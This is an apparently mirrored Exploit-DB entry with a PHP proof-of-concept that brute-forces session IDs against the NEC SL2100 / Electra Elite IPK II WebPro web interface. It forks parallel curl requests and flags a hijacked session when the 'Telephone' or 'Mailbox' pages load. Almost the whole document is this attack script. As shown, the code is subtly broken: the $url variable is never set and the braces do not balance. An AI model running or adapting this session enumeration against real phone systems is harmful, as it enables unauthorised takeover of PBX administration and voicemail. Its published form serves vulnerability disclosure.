NEC Electra Elite IPK II WebPro 01.03.01 – Session Enumeration - 体验盒子

作者： Cold z3ro

日期： 2020-05-05

类别：

webapps

平台：

hardware

来源：https://www.exploit-db.com/exploits/48425/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

# Title: NEC Electra Elite IPK II WebPro 01.03.01 - Session Enumeration

# Author: Cold z3ro

# Date: 2020-05-04

# Homepage: https://www.0x30.cc/

# Vendor Homepage: https://www.nec.com

# Version: 01.03.01

# Discription: NEC SL2100 (NEC Electra Elite IPK II WebPro) Session Enumeration

<?php

set_time_limit(0);

$host = "192.168.0.14";

$start = 100;

$end = 30000;

$maxproc= 50;

$execute=0;

echo "\n[+] NEC SL2100 (NEC Electra Elite IPK II WebPro) Session Enumeration\n\n";

sleep(3);

for ($i = $start; $i <= $end; $i++)

{

$pid = @pcntl_fork();

$execute++;

if ($execute >= $maxproc)

{

while (pcntl_waitpid(0, $status) != -1)

{

$status = pcntl_wexitstatus($status);

$execute =0;

usleep(3000);

}

if (!$pid)

{

echo $url . " checking $i\n";

login($url, $i);

flush();

exit;

}

function login($url, $key)

{

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url .'/PyxisUaMenu.htm?sessionId='.$key.'&MAINFRM(444,-1,591)#');

curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 80);

curl_setopt($ch, CURLOPT_TIMEOUT, 80);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);

curl_setopt($ch, CURLOPT_HEADER, FALSE);

$content= curl_exec($ch);

curl_close ($ch);

if(preg_match('/Telephone/i', $content) || preg_match('/Mailbox/i', $content))

{

die("\n\n[+][-]".$url."/PyxisUaMenu.htm?sessionId=".$key."&MAINFRM(444,-1,591)# => Found\n\n");

}